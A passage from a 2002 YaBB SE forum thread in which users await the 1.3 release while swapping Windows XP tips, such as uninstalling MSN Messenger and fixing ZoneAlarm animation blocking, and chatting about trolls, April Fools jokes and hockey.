c) our upgrade.php file missed a couple database changes - being fixed.
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 09:21:15 AM
Thanks Joseph ...

Are you at the same computer or working together or just through the net  ???

This is interesting since it would be a good example of  online teams !!

;)
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 09:23:04 AM
No - he's across town right now ;)

3 cheers for ICQ.
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 09:24:34 AM
As for those animations ... I don't know ... they are stuck ... my fault apperently ...

I should just reinstall XP ....

My God !!!

You use it ... all junks came in it ... and then it doesn't work anymore ...
Please consider junk also those security fixes from Microsoft ... I guess it was one of those ... :)


Other topic ... I keep receiving that annoying Messenger when I browse the forum ... some of you said .. just rename the .exe file ...

Is there any disinstallation of some sort ? Using Trillian here ! And it rocks !!

:D



Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 09:34:10 AM
I use XP and love it :)
Title: Re:SE Future...
Post by: TheJkWhoSaysNi on April 01, 2002, 09:43:29 AM
i'd use XP, but every time i try to install it, on boot up i get the error "NTLDR is missing" or something like that and cant start the computer at all, oh well.
Title: Re:SE Future...
Post by: phark on April 01, 2002, 09:53:16 AM
I use XP and have no problems... Are you using ZoneAlarm??  I think there is some setting in 3.x that disables animations.

As for the messanger...  just rename the exe...  no other way to get rid of it.  If you kill it with regedit, it will just put itself back in again.   :-\

Trillain does rock!!!
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 09:54:27 AM
Hey Jeff ... you working ??? ;D

I use XP and love it too, a lot !! It's super !!

But sometimes little problems arise ... I bet 80% are caused by poor software development done by different software houses ...

:o
Title: Re:SE Future...
Post by: Zarabadoo on April 01, 2002, 10:18:44 AM
As for those animations ... I don't know ... they are stuck ... my fault apperently ...

I should just reinstall XP ....

My God !!!

You use it ... all junks came in it ... and then it doesn't work anymore ...
Please consider junk also those security fixes from Microsoft ... I guess it was one of those ... :)


Other topic ... I keep receiving that annoying Messenger when I browse the forum ... some of you said .. just rename the .exe file ...

Is there any disinstallation of some sort ? Using Trillian here ! And it rocks !!
be sure to check in your tools/options and look through the checklist of options to see if you have animations set to run.

as for you messenger problems, i found this and tried it: http://support.microsoft.com/default.aspx?scid=kb;EN-US;q302089

wow.. microsoft hides on thier support website how to do it. i very surprised myself. (really, i was. not trying to be sarcastic.) gotta love google.

oh, yeah. trillian rules.
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 10:30:34 AM
Zarabadoo, THANKSSSSS !!!!!!!!!!!!!!!!!!!!!

I did that, I should restart ... I'll let you know ... now I can't, downloading ...  ::)


As for the animations ... yes I do use ZoneAlarm 3.0 ... I'll check it ...  since in the IE options it's all on "RUN" !

Thanks guys, turning back to Yabb SE, we could add the reference to that Microsoft Article in the FAQs, it's useful !

Title: Re:SE Future...
Post by: Zarabadoo on April 01, 2002, 10:33:18 AM
no problem. glad to help. i think it must be that south dakota upbringing or something. that''s what i blame it on anyway.
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 10:34:52 AM
OK !!!!!!!!!!!!!!

Ladies ( a pity they are a few here ) and Gentlemen ....

I did that !!

In order to turn back animations on all websites, you have to go in ZoneAlarm v.3.0 Main window ... then go in the "Privacy" section, "Main" tab ...  and then click on the "Custom" button :

In the panel that shows up, it's said "Ads to block"

Take the "V" off animations !!

Apparently for ZoneAlarms all avatars and also smileies are just ADS !!!

It works now.

Thank to all of you !!!  :D

Title: Re:SE Future...
Post by: powergen on April 01, 2002, 10:36:26 AM
Ohhhh .... YES !!

I love Jeff's Monster screaming at me !!!

;D

Title: Re:SE Future...
Post by: phark on April 01, 2002, 10:45:27 AM
Thank to all of you !!!  :D


Your welcome.  8)

Anytime somethink starts acting funny, shut down ZA... you will find that cures alot of them.  Once you pinpoint ZA as the problem, just make some changes.   :)

Title: Re:SE Future...
Post by: phark on April 01, 2002, 10:53:03 AM

Ohhhh .... YES !!

I love Jeff's Monster screaming at me !!!

;D


I'M NOT TOUCHING THAT ONE!  ;)
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 10:54:59 AM

i'd use XP, but every time i try to install it, on boot up i get the error "NTLDR is missing" or something like that and cant start the computer at all, oh well.


Why don't you try to solve the issue then?

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q255220
Title: Re:SE Future...
Post by: The Engineer on April 01, 2002, 11:10:23 AM


i'd use XP, but every time i try to install it, on boot up i get the error "NTLDR is missing" or something like that and cant start the computer at all, oh well.


Why don't you try to solve the issue then?

http://support.microsoft.com/default.aspx?scid=kb;EN-US;q255220


NOOOO! Broken "autolink" again  ???


/me .
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 11:27:02 AM
no - it's not broken.

I just didn't include - characters in the query string.

why the hell do websites feel the need to put stupid characters in their query string? sheesh  ::)
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 11:32:30 AM
Ok ... I have restarted my computer and to much of my disappointment ...

... messenger is called up again as soon as I get here !!!

I guess the only viable solution is to take that stupid .exe file and teach it how to behave in this world !!!

>:(
Title: Re:SE Future...
Post by: Nemesis on April 01, 2002, 11:32:33 AM
To get rid of messenger it is easy...

Open up a run box and type this in there.

RunDll32 advpack.dll,LaunchINFSection %windir%\INF\msmsgs.inf,BLC.Remove

Hit Enter and....

It will uninstall MSN Messenger
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 11:35:53 AM
MY GOD !! Nemesis .... it works !!!

THANKS MAN !!!!!!

Now ... no more Messenget in this forum anymore !!

Happy, happy, happiness !!!

:D :D :D
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 11:38:28 AM
Hey Nemesis ... how come your avatar image changes each time the browser loads your messages ?? ??

You have got some strange PRO features ??

 :)
Title: Re:SE Future...
Post by: The Engineer on April 01, 2002, 11:39:15 AM

no - it's not broken.

I just didn't include - characters in the query string.

why the hell do websites feel the need to put stupid characters in their query string? sheesh  ::)


Oh good, now we can blame Microsoft for braking the autolinking.

I will file the Class Action Suit  ;)

/me .
Title: Re:SE Future...
Post by: Nemesis on April 01, 2002, 11:54:56 AM
No Problem on that Messenger dilly, You got anymore problems on XP let me know, I can almost find a fix for everything.

I am using an avatar scripit I made that changes the images everytime you view a board. Very simple scripit.

If you have strange charecters in a URL and you know it, why don't you just stick it in some URL brackets? If you are a forum admin/moderator you can always edit the messager a person posts and put it in for them. Only takes a second.  :P
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 12:09:55 PM
Odd, my notifications on this thread died...

Anyways, I disabled Messenger in gpedit.msc

Interesting side effect...  Microsoft Outlook Express would no longer work...

Last time I mess with Messenger...
Title: Re:SE Future...
Post by: phark on April 01, 2002, 12:15:53 PM
I disabled Messenger using RunDll32 and everything is working fine, my notifications and my Outlook (not Express).   :-\
Title: Re:SE Future...
Post by: Nemesis on April 01, 2002, 12:16:41 PM
Did you try my fix? It just uninstalls messanger, outlook will still work.
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 12:24:43 PM
How to do what I said above...

In XP Professional only...

Go to Start, Run, type in gpedit.msc
hit ok, a new window should appear
Go to Local Computer Policy; Computer Configuration
Click on the plus beside Administrative Templates then Windows Components
Click on the Windows Messenger folder
Double click on the "Do not allow Windows Messenger to be run" option in the right paine.  Click enable, then ok, then close the program

There you go.  This modification may kill Windows Messenger, but it makes Outlook Express take 5 minutes to start, and generally 5 minutes to do the easiest things (on my AMD K6-3 400 Mhz.), so enable at own risk.

To undue this modification, follow all steps above, except set the option to "Not Configured"
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 12:26:43 PM
I confirm ... Outlook and Outlook Express working !

I confirm ... Nemesis is a PRO !

;)

Title: Re:SE Future...
Post by: phark on April 01, 2002, 12:30:15 PM
Yes, he is a PRO!  

But wait...  

I tried the GPEDIT at first and noticed that IE6 was SLOW... it was not even acceptable.  

I then used the RunDll32 and that made things a little better.

Final test:  I went back into GPEDIT and switched my settings back to "Not Configured".

Result:  ITS FIXED!!  Its fast again and I do not have Messenger!
Title: Re:SE Future...
Post by: The Engineer on April 01, 2002, 12:34:47 PM
Keep it going, we are almost at 10,000 times read
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 12:43:00 PM
eeheh, Engineer ... ok !

But we are just here all together awaiting the 1.3 ... sooo ....

I don't know anything of the Yabb SE development project apart from this posta and all the info contained BUT basing on my guess ... I would say that if no other bugs are found ... it will be out before the end of the week .... or at max by the end of the week ...

:D :D :D


Yes, I know ... I'm really anxious about it ...   ::)

Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 12:44:09 PM
fixing problems with xp...nothing to do with the future of SE last time I checked...

Edit: By the way didn't see powergens post before i posted this.
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 12:46:41 PM
Hehe nevermind the troll lurking about...continue the good hearted discussion :)
Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 12:49:02 PM

Hehe nevermind the troll lurking about...continue the good hearted discussion :)


hmmph..Im a troll now..hmm...now do I get spiky hair?  ::)
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 12:50:27 PM
I dont like winblowz either, so I guess Im a troll too for thinking its a piece of garbage...?  ;D
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 12:52:43 PM
Best way to combat waiting for something... talk about something else (Windows XP) or write a story!

I finished chapter 1 of Star Trek Conflicts (http://outgoing.goldentiger24.vze.com/1n.htm).  Well, guess I am getting a hobby!  :)
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 12:52:45 PM

I dont like winblowz either, so I guess Im a troll too for thinking its a piece of garbage...?  ;D


Huh?  if you don't get it...
Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 12:55:31 PM

I dont like winblowz either, so I guess Im a troll too for thinking its a piece of garbage...?  ;D


I don't hate windows.. I think I'm a troll because im mean  ::) or sumthing...
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 12:59:56 PM
Jeff .... I must admit I haven't get it too .....

:-\ :-[ :o ;) :D ;D
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 01:00:44 PM


I dont like winblowz either, so I guess Im a troll too for thinking its a piece of garbage...?  ;D


Huh?  if you don't get it...


Hey Jeff!!

I thought you were busy fixing that updatescript!!???  ;D  ;D
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 01:01:47 PM
I finished the upgrade script awhile ago...I thought I'd delay until after lunch when I added the final touches ;)

A troll: A troll is a post designed to provoke an inflammatory response.

If you frequent some message forums or mailing lists you may see this term come up.
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 01:02:24 PM
Oh and to follow up... v15 has been released to the testers...
Title: Re:SE Future...
Post by: Nemesis on April 01, 2002, 01:05:03 PM
Lets go back to the disscussion of me being a PRO...   ;)
Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 01:05:22 PM

I finished the upgrade script awhile ago...I thought I'd delay until after lunch when I added the final touches ;)

A troll: A troll is a post designed to provoke an inflammatory response.

If you frequent some message forums or mailing lists you may see this term come up.


ohh....so i guess thats what I did?  ::)
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 01:06:59 PM
YOU MEAN 1.5 ?????????????????????????

HOW COME .... MY GOD !!!

I was awaiting 1.3 ... not 1.5 .... I can't .... I'm not ready to this ... I'll have to clean my house, make my bed, prepare something nice for dinner ... or maybe the restaurant ???

Does the 1.5 like Champagne ???


Oh no.... it's coming !!!!

:o

;D

Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 01:07:50 PM
Quote
A troll: A troll is a post designed to provoke an inflammatory response.

To be more specific, the term comes from trolling (yes, the fishing word).  While it is currently used as Jeff describes, it was originally used by BBSers to describe a post used to catch newbies in a trap.  It was usually used to lead a newbie into saying something stupid, or asking a stupid question.

For instance, I could be a troll by posting as an anonymous user (say.... FreshFromChina), which went something to the effect of
Quote
"What the hell?!!! Jeff and Joseph just told me over ICQ that they're going to charge $20 to download YaBB SE 1.3!!! Who the f**k do they think they are?!!"

and anyone who couldn't figure out it was me, may be provoked into lambasting Jeff and I for being capitalist pigs, or FreshFromChina for being a dumb-ass.

Either way it would be a good laugh for Jeff, I and anyone else who got th ejoke  ;D
Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 01:08:09 PM
except i didn't design it to get any response... I wanted...oh well, never mind. I wanted my inbox to stay clean, i got an email every minute saying soandso has repleyed to the post...
Title: Re:SE Future...
Post by: Nemesis on April 01, 2002, 01:12:48 PM
Turn off notifications to this message then.  ;D
Otherwise you may get another 5000 before the month is up.
Title: Re:SE Future...
Post by: henry_s on April 01, 2002, 01:15:50 PM
yes but you see I still want to know when 1.3 (or is it 1.5?!?)....oh well... :-\
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 01:17:38 PM
Abril 1, 2002

YaBB announced that version 1.5.0 will be delayed for a few days...

Any problems that causes, you have to solve...

===

;D
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 01:25:59 PM
We have two different notification options.  Turn off the plain one and turn on the new one.  Also, we won't announce it in this thread anyway, we'll start a new one and if you'd enable email on new announcements, you'll receive a new email.

Guys, it's 1.3.  If you've followed development, we release beta packages.  v1, v2, etc etc.

To make it easy on you guys that can't get it, think RC (release candidate)  ;D
Title: Re:SE Future...
Post by: Nemesis on April 01, 2002, 01:31:53 PM

Abril 1, 2002

YaBB announced that version 1.5.0 will be delayed for a few days...

Any problems that causes, you have to solve...

===

;D


He was making a April fool joke.
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 01:34:31 PM
Yes but an earlier post caused some confusion on the version numbers...
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 01:37:35 PM
Sorry, I am sometimes vain with my jokes (though I always put a  ;D in them, if that helps).

The b in April (replacing the p) actually came from a game...  It wasn't a mistake, but several people thought it was (and didn't know why their weapon was acting so funky).

Try to guess the game....  I wonder who has played it (or remembers it...)
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 01:47:18 PM
Pufffff .....   ::)


No 1.5 ... I can relax now ... Jeff you have to type numbers correctly !!!
People will get crazy if not !!  ;)

Anyway ... Troll or not Troll ... I don't care ...
Thanks for the explanation ... I have understood trolls can be FUN !!

;D
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 01:48:31 PM
I said we released v15 :)  So beta test package version 15 :)

Our beta testers are usualyl on but...just waiting for them now ;)
Title: Re:SE Future...
Post by: phark on April 01, 2002, 01:50:36 PM
Our beta testers are usualyl on but...just waiting for them now ;)


I am here!  ;)
Title: Re:SE Future...
Post by: iamdamnsam on April 01, 2002, 05:35:08 PM


Woah... chill man!  ;D

There's no joking involved, the developers simply want the new version to be as bug-free as possible... the longer you wait, the better the end-product will be. If you think that's a joke, then **** off to Y1G. I think you'll find they follow the same system too, quality releases and not rushed rubbish.


let him go... the moement his site gets more then 1000 hiits a day to the board... he will come come crawling back from the depths of his web-hosts recycling bin... on his knees too may i add  :D


I have YaBB Gold and get over 35,000 page views daily.  My board isn't slow.
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 05:35:16 PM

 I guess my biggest problem with them now is the fact that AOL ownes them (netscape), and I despise AOL.  Everything AOL touchs becomes bloated with advertisments (look at ICQ these days).  

phark!
;D


btw. I know a lot of people has a grudge against AOL, they are not on the danish market so I cant really comment on wether this is justified or not..

Anyway, if you want to pursue this AOL relations 'fear' then you cant watch CNN (or any of the Turner channels) and you cannot watch any of the WarnerBros movies cartoons etc.

and mozilla as it comes from mozilla.org is comnpletely AOL free (I cant remember if theres an option to install the AOL messenger thing, but other than that it is)


------

now where is that 1.3 release, its gotten awfully silent, and Jeff said he had fixed the upgrade script and 'after lunch' it would be release  ;D ;D
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 05:42:01 PM
it's still after lunch, and I'm trying to wrap it up today if I can.
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 05:46:44 PM
Joseph ... please take your time !

I haven't understood if you got those responses from beta-testers ....
Is it all ok ??

After you wrap it ... will it be ready ?

REALLY ?? It's that simple?

::)
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 05:48:41 PM

it's still after lunch, and I'm trying to wrap it up today if I can.


In other words, if it is not released, none of us can eat till it gets released...

fasting for YaBB SE, we have doomed ourselves to it...

;D
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 05:49:07 PM
Pretty much.

We've spent the day just sanding off a couple rough edges.

for instance, we've got a completed German language file that'll be packaged with it, and we founnd a few minor syntactical errors and of course, as usual, a few variables missing from the global's list.

While none were really big problems, there were causing some unexpected behavious on some systems.

Yeah - and it is pretty easy.. I just need to package them, upload them and edit the downloads page.

And hey - maybe I'll even post an announcement ;)
Title: Re:SE Future...
Post by: groan on April 01, 2002, 05:50:23 PM
drooling :P
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 05:53:05 PM
yeah, I'm drooling too.  but only because I've been working on this so frickin' long I haven't had lunch or dinner yet  ::)

wheeeee.
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 05:54:50 PM
 ;D ;D ;D ;D

you are starving for a realease :))
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 05:55:33 PM
ItsTheCodeTillYouDropForThousandsOfDemandingFansWeeeeeeeeeee!!!

;D

(long story... and I don't know all of it)
Title: Re:SE Future...
Post by: phark on April 01, 2002, 06:11:18 PM

btw. I know a lot of people has a grudge against AOL, they are not on the danish market so I cant really comment on wether this is justified or not..

Anyway, if you want to pursue this AOL relations 'fear' then you cant watch CNN (or any of the Turner channels) and you cannot watch any of the WarnerBros movies cartoons etc.


Its not a fear... just an organization I prefer to have little association with.  As for CNN, I prefer the Fox News Network and I don't watch cartoons.... I am pretty much AOL free!  :D
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 06:24:10 PM
CNN has changed... before AOL it wasn't a bad company.  Now, not only does CNN censure what they play (MSNBC has more news than they do!), but their website is a mess now.  Has tons of AOL adds, now has pop-unders... and the website is starting to charge it's visitors $40 a year to use the site (depending on what you actually use, for now.  Video access costs $40 a year...  they may charge for more information at a later date).

Also, AOL was required to open their networks to other messenger software.  They started to block Trillian (www.trillian.cc) in January.  Trillian has been left alone recently, thanks to a hefty battle of blocking and counterblocking.

AOL is a true monoply in my book.  They buy out their competators (ICQ for an example), keep the name and fight the two (AIM and ICQ) against each other!

In other words, me no like AOL at all...  they are a bit nasty...
Title: Re:SE Future...
Post by: phark on April 01, 2002, 06:32:17 PM
The last I heard, Fox News was passing CNN in the ratings, which I like to hear.  CNN was once great, and who knows...  maybe the can be again.  But for now, I don't want to get censored news.
Title: Re:SE Future...
Post by: phark on April 01, 2002, 07:18:19 PM
*Wonders what Jeff and Joe are doing*
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 07:20:45 PM
the 'after luch' thing was probably just an Aprils 1st joke  ;D
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 07:25:05 PM

the 'after luch' thing was probably just an Aprils 1st joke  ;D


That, or an attempt to lessen the horde of people asking for a release now by making them all starve to death...

;D
Title: Re:SE Future...
Post by: phark on April 01, 2002, 07:25:59 PM

the 'after luch' thing was probably just an Aprils 1st joke  ;D


Its probably done all ready, and they are just holding out as their joke.   ???
Title: Re:SE Future...
Post by: Daniel D. on April 01, 2002, 07:27:21 PM
You don't know how close you're from the next release... :-X
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 07:30:41 PM
Then again, I wouldn't mind if it takes a bit longer... as long as there are a few easter eggs inside...  :)

(in other words, if the board acts funky during 4-1, you can pretty much guess why)

;D
Title: Re:SE Future...
Post by: phark on April 01, 2002, 07:32:25 PM

You don't know how close you're from the next release... :-X


Dan, don't say things like that, you will get me all excited!!   :o
Title: Re:SE Future...
Post by: Daniel D. on April 01, 2002, 07:34:52 PM
Hey guys, can I have the telephone number where I can speak to your parents ? I wanna tell them to tie you to a chair with a big rope ! ;D
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 07:40:07 PM
And at 11:59:59 PM, April 1st, YaBB 1.3.0 was released to some very tired fans...

It was removed 5 minutes later...

;D
Title: Re:SE Future...
Post by: Adam Golden on April 01, 2002, 07:40:54 PM
This wait is making me go crazy since for the last few days the release could have come up at any time.
Title: Re:SE Future...
Post by: Daniel D. on April 01, 2002, 07:44:38 PM
And at 11:59:59 PM, April 1st, YaBB 1.3.0 was released to some very tired fans...

It was removed 5 minutes later...

;D


Mmmhh, I have to ask Joseph if he bans you :D. If you want a nice evening (I don't know where you live, I just think it's evening), stay tuned... :P

Here in Germany: 02:44 am - I've to work today
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 07:48:37 PM
Well, yeah, I am joking around a bit much...  but I am surprised this year, not too many places are pulling April Fools jokes.  Sites that did it last year decided not to this year (www.st-minutiae.com).  So, hense, I did what I could.
Title: Re:SE Future...
Post by: phark on April 01, 2002, 07:49:36 PM
I have my notify turned on, so I will be watching my inbox and checking back often.  If I go watch the Red Wings beat Toronto, I will feel better and stop thinking about 1.3
Title: Re:SE Future...
Post by: Daniel D. on April 01, 2002, 07:52:28 PM
Well, yeah, I am joking around a bit much...


That's OK 8) ! We had to wait a long time for this release, but I think it was worth to wait.
Title: Re:SE Future...
Post by: The Large Portion on April 01, 2002, 07:53:36 PM
Wow - I've been following the track of 1.3.0 for ages!  Just like you guys, I'm eagerly awaiting the new version.  

I've been on 1.0.0 for the last three months and it hasn't let me down - I can't wait for the new version though.  

Dilema : If it ain't broke, don't fix it...should I upgrade or not ;) (/me rubs chin and ponders)
Title: Re:SE Future...
Post by: Daniel D. on April 01, 2002, 07:57:16 PM
We tested the upgrade on a few boards today (one with >17.000 posts !) and it worked great !
Title: Re:SE Future...
Post by: The Large Portion on April 01, 2002, 08:00:46 PM

We tested the upgrade on a few boards today (one with >17.000 posts !) and it worked great !


Super sweeeeeeeeeeeeet!

This board only has around 2000 posts but it's the lifeline for a bunch of local band groupies :)

With the upgrade, does it keep all the template settings the same or do they have to be backed up and reinstalled?

It's 2.00am here in England now and I'm gonna stay up until it's released...I won't sleep anyways!
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 08:01:40 PM
In general, my site has few features right now, and even less visitors, and nobody even gets to the forum, so I don't need 1.3.0, and it generally won't effect many people.  As long as it isn't like 1.1.0, which didn't work at all, destroyed my template, and generally caused a nightmare and a reinstall of 1.0.0, I'll be happy.

I generally do this for a hobby, so the software install is always something interesting to look at...

Generally, I am waiting for 1.3.0, just so I can get 1.1.0 functionality without crashing my server and causing further nightmares...

Until 1.3.0 comes out, I am writing the story (as shown below) and it is generally not being read... but it is fun to write...

But in general, I am not doing much now, hense my presance here...  I think I'll cut down on posting (to prevent people from checking back here every 10 minutes!) and I'll just wait for a bit...
Title: Re:SE Future...
Post by: phark on April 01, 2002, 08:03:20 PM
Quote

It's 2.00am here in England now and I'm gonna stay up until it's released...I won't sleep anyways!


Its 8:00PM here in Detroit, but I am going to stay up until its released, too!
Title: Re:SE Future...
Post by: Daniel D. on April 01, 2002, 08:04:51 PM
I think it'll keep the settings in the template, but the devs said, say and will say it in the future: "Make a backup first !".
Title: Re:SE Future...
Post by: Purple Raine on April 01, 2002, 08:05:25 PM
I intend to be up for the YaBBathon as well =)

8:04pm in Toronto ... about 2 hours away from Jeff and Joe...maybe I should drive over and just save a copy on disc or something =P
Title: Re:SE Future...
Post by: The Large Portion on April 01, 2002, 08:06:02 PM

Its 8:00PM here in Detroit, but I am going to stay up until its released, too!


Does this make us totally sad people?
Title: Re:SE Future...
Post by: Adam Golden on April 01, 2002, 08:06:45 PM
I have over 4000 posts on mine.  I hope it comes out soon, so I can set it up today and have time to modify some of the files to get it to look the way I want.  I am going to make a dump file of my SQL data just incase the upgrade goes wrong.
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 08:07:15 PM
I thought replying to every single post was being a sad person...

There is nothing wrong with us... this is just some awesome software!   :D
Title: Re:SE Future...
Post by: phark on April 01, 2002, 08:08:41 PM


Its 8:00PM here in Detroit, but I am going to stay up until its released, too!


Does this make us totally sad people?


Yup!  I guess it does....   :'(
Title: Re:SE Future...
Post by: phark on April 01, 2002, 08:21:15 PM
Quick question while we sit here waiting....

I know how to do a redirect in HTML, but how do I do one in perl?  I looked at my web log, and most of my inbound traffic is looking for the YaBB.pl file and not the index.html (which redirects to the .pl file).

As soon as this new release comes out (*coughs tonight*), I am going to start the site on the new domain, but want to redirect the hits for a couple of months.  

I'd like to do one of those "This page has moved...you will automatically be redirected in 5 seconds..." pages.

Do I just insert that html as my template???
Title: Re:SE Future...
Post by: Adam Golden on April 01, 2002, 08:23:12 PM

Quick question while we sit here waiting....
I'd like to do one of those "This page has moved...you will automatically be redirected in 5 seconds..." pages.

Do I just insert that html as my template???

Yes, just put it in the head of your template and it should work.
Title: Re:SE Future...
Post by: phark on April 01, 2002, 08:29:09 PM
Yes, just put it in the head of your template and it should work.


Thats what I was thinking... thanks!  :D

No more post from me until the new version is release.
Title: Re:SE Future...
Post by: kurgan on April 01, 2002, 08:36:36 PM
well its 3.30 am here in denmark.. so Ill pop to bed... reminds me that we miss a 'sleepy emoticon'

good luck I bet you will suffer a coffee shock soon  ;D
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 09:07:21 PM
Guys, 4:10 here in Italy ....

I love you all, this thread is ssooooo nice !!!

;D

Going to bed, have a nice time with the new 1.3 while I sleep !!

;)  ::) :P :-[ :-\ :'(
Title: Re:SE Future...
Post by: powergen on April 01, 2002, 09:09:25 PM
hey ... one more thing !!

YES !!!!!!!!!!!!

The sleepy EMOTICON ... YOU ARE GREAT KURGAN!!

THAT and also the fix for the above crying one !

This is just to stay in the "SE future" topic .. hheheh

;)
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 09:21:41 PM
Fair warning, when modifing your board, don't replace the true URL to your board with your redirect URL...  It sorta makes it impossible to log in... or see any images...  well, it breaks your YaBB SE 1.0.0 board pretty good...

20 minutes with the settings file fixed that...  :)

Would be nice if I could put my redirect URL in my e-mail messages and everywhere else instead of my true URL...  oh well, sometimes you can't win...

At least my board is working again.
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 09:22:44 PM
sorry for the delay - I had to walk home and get some food into me :P

And I'm watching the Leaf's beat Detroit ;)

[edit]I'm an idiot and typed in the wrong city  ::)[/edit]
Title: Re:SE Future...
Post by: phark on April 01, 2002, 09:26:04 PM
And I'm watching the Leaf's beat Chicago ;)


But the Leaf's are beating my Red Wings, not Chicago!   >:(
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 09:45:01 PM

But the Leaf's are beating my Red Wings, not Chicago!   >:(


Hehe I forgot that the Leafs were even playing the Dead Things, I mean Red Wings ;)  4-2 with several players injured, looks good for Toronto.  Who is Detroit resting tonight?

Jays beat Boston and Pedro martinez 12-11 today as well, Raptors on a 5 game winning streak without Vince...woo hoo! ;)
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 09:48:37 PM
the raptors, the leafs, the jays..

we are so cool.
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 09:50:26 PM
I was at a hockey game over a week ago, Cleveland Barons vs Americans (some town with an R, I forget)...  That was one really violent game.  It had 4-5 fights, and one involved both teams... the entire teams!  The barons lost when the goaly was tossed out near the end of the game...

Oh well, still a pretty fun game, espically to see in person.
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 09:50:51 PM
We try :)
Title: Re:SE Future...
Post by: Purple Raine on April 01, 2002, 09:54:35 PM
Today is one of those rare days when Toronto is a GOOD day for sports =)

i'm watching the Leafs kick Detroit as well as Maryland / Indiana...

and also watching this forum of course ;)
Title: Re:SE Future...
Post by: Agelmar on April 01, 2002, 09:57:37 PM
Meanwhile I'm watching my 1.3.0b16 board, and I can't find any problems... ^-^

Sorry, I just had to say that ^-^.
Title: Re:SE Future...
Post by: Purple Raine on April 01, 2002, 10:01:13 PM
<cough> @sshole <cough> =)

Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 10:04:14 PM
LOL
Title: Re:SE Future...
Post by: Golden Tiger on April 01, 2002, 10:10:59 PM
Before I go for the evening (I am weak for sleep), I decided to post some April Fools things I have found... seemingly too late it seems, but pretty interesting none-the-less

www.bbspot.com has been bought out by MSN!  Check out the site, they are pro-microsoft now!  (note, story links don't really work... oh well)
http://slashdot.org/ broke about 20 stories, all april fools and all fake.... they were having a lot of fun doing it too!

Other than those two... I know of no other sites participating... this time around...
Title: Re:SE Future...
Post by: Jeff Lewis on April 01, 2002, 10:14:26 PM
Hehe spoke too soon!!! 4-4 :(
Title: Re:SE Future...
Post by: Purple Raine on April 01, 2002, 10:36:54 PM
5-4 baby!  I knew I could count on Mats =)
Title: Re:SE Future...
Post by: Adam Golden on April 01, 2002, 10:51:47 PM
IT IS HERE
Title: Re:SE Future...
Post by: Viet on April 01, 2002, 10:52:28 PM
1.3 is finally out....thank you so much!!!

*viet is running around the house
Title: Re:SE Future...
Post by: Joseph Fung on April 01, 2002, 11:02:11 PM
damn.  I can't belive you guys picked up on it in just over a minute.

I'm impressed
Title: Re:SE Future...
Post by: alexrolko on April 01, 2002, 11:03:18 PM
wow i bet an hour... jeeez!  ;D
Title: Re:SE Future...
Post by: curious on April 01, 2002, 11:17:11 PM
Congratz to the release and thanks for all the work. (http://www.yabb.info/community/YaBBImages/thumbup.gif)


Open up a new thread for the cheering or this one will explode!
Title: Re:SE Future...
Post by: powergen on April 02, 2002, 05:25:38 AM
Thanks JEFF, JOSEPH, ALEX, ALL DEVELOPMENT TEAM, ALL BETATESTERS !!!

WE LOVE YOU !!

We'll make good use of this baby !!

Really thank you guys !!

From powergen !

;) :D ;D ;D :D ;)

Title: Re:SE Future...
